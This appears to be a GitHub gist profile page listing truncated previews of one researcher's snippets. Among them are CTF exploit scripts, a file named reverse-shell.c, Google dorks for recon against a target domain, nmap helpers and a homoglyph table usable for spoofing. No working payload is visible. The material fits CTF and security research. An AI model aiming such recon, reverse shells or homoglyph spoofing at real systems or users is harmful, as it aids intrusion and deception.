Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

SakiiR SakiiR

🎯
Focusing
View GitHub Profile
@SakiiR
SakiiR / toggle-hyperv-forfaceit.bat
Created Jul 21, 2022
HyperV toggle - Faceit =)
View toggle-hyperv-forfaceit.bat
@echo off
echo Virtualization must be disabled to use anti-cheat clients like FACEIT and ESEA
echo.
net session >nul 2>&1
if %ERRORLEVEL% EQU 0 goto :chchchchoices
echo This script requires elevated privileges. Re-run as Administrator to continue
goto :exit
:chchchchoices
@SakiiR
SakiiR / exploit.html
Created Oct 25, 2021
ASIS CTF quals 2021 - Lovely Nonces
View exploit.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Exploit</title>
</head>
<body>
<script>
View reverse-shell.c
// gcc /tmp/reverse-shell.c -o /tmp/test
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
@SakiiR
SakiiR / diabotical-suggestions.md
Last active Jul 20, 2021
Diabotical Sugestions
View diabotical-suggestions.md

Time Trials

  • New High Score / World Record notification
  • Leaderboard
  • Ghost feature
    • Can be downloaded and set from player profiles
    • In game menu to handle this
  • Give permanent/persistent medals on profiles/leaderboard ( like cs:go medals or rocket league titles )
  • Add run demos on player profiles etc
@SakiiR
SakiiR / dorksMe.js
Last active May 10, 2021 — forked from S42X/dorksMe.js
Compilation of some dorks when doing bug bounty or pentest on a scope. This script will open like 37 tabs with all theses dorks. you can add yours.
View dorksMe.js
/*
* You can test this script by opening your favorite console browser
* Then launch just 3 dorks with: dorksMe(`example.com`).slice(5,8).map( el => window.open(el))
* Or all the dorks with: dorksMe(`example.com`).map( el => window.open(el))
* Enjoy :)
* @_SaxX_
*/
function dorksMe(site) {
return [
@SakiiR
SakiiR / exploit.py
Created Dec 4, 2020
Dojo challenge #4 - Exploit Script
View exploit.py
#!/usr/bin/env python
# @SakiiR
import z3
def format_chunks(m, chunks):
return "-".join([f"{int(str(m[c])):04d}" for c in chunks])
def doit_twice(s, chunks):
try:
@SakiiR
SakiiR / r2.py
Created Oct 11, 2020
Radare2 utils :)
View r2.py
import r2pipe
import readline
class R2:
def __init__(self, file_path, args=[], debug=False):
self._r = r2pipe.open(file_path, args)
self._debug = debug
def cmd(self, cmd, debug=True):
if self._debug and debug:
@SakiiR
SakiiR / nmap.sh
Created Aug 18, 2020
Some nmap scripts
View nmap.sh
nmapFast() {
if [[ -z $1 ]] ; then
echo "USAGE: nmapFast IP/Domain"
return
fi
item=$1
item2=$(echo -ne $item|tr '/' '_')
echo " +++ "
@SakiiR
SakiiR / archs.sh
Created Aug 18, 2020
Some architecture initrd (useful for reversing CTF challenge)
View archs.sh
#!/bin/sh
# XeR
readonly HOST="http://ftp.fr.debian.org/";
readonly DIST="unstable";
readonly BASE="${HOST}/debian/dists/${DIST}/main/";
declare -A links
links["x86_64"]="/installer-amd64/current/images/cdrom/initrd.gz";
@SakiiR
SakiiR / homoglyphes.js
Last active Jul 25, 2020
Homoglyphes List
View homoglyphes.js
// Array.from("PIZZATO").map(c => CHAR_MAP[c][0]).join("")
const CHAR_MAP = {
"0": ["\u{1d476}", "\u{1d7f6}", "\u{1d6f0}", "\u{1d7e2}", "\u{1d7ec}", "\u{1d512}", "\u{1d442}", "\u{09e6}", "\u{07c0}", "\u{1d40e}", "\u{039f}", "\u{3007}", "\u{1d546}", "\u{ff2f}", "\u{0b66}", "\u{1d67e}", "\u{1d79e}", "\u{0555}", "\u{10516}", "\u{0d20}", "\u{0b20}", "\u{2d54}", "\u{10404}", "\u{118e0}", "\u{1d6b6}", "\u{114d0}", "\u{041e}", "\u{118b5}", "\u{1d72a}", "\u{1d7d8}", "\u{1d4aa}", "\u{1d57a}", "\u{ff10}", "\u{1d616}", "\u{1d764}", "\u{102ab}", "\u{10292}", "\u{1d4de}", "\u{a4f3}", "\u{004f}", "\u{2c9e}", "\u{1d7ce}", "\u{1d5ae}", "\u{1d64a}", "\u{1d5e2}"],
"1": ["\u{217c}", "\u{1ee80}", "\u{1d75e}", "\u{1d6ea}", "\u{1d48d}", "\u{1d644}", "\u{ff29}", "\u{10320}", "\u{fe8e}", "\u{2160}", "\u{0661}", "\u{007c}", "\u{0049}", "\u{1d55d}", "\u{1d5a8}", "\u{0196}", "\u{05df}", "\u{2c92}", "\u{1d4f5}", "\u{07ca}", "\u{2d4f}", "\u{0627}", "\u{2223}", "\u{1d43c}", "\u{1d5dc}", "\u{ff4c}", "\u{1d459}", "\u{1d7d9}", "\u{1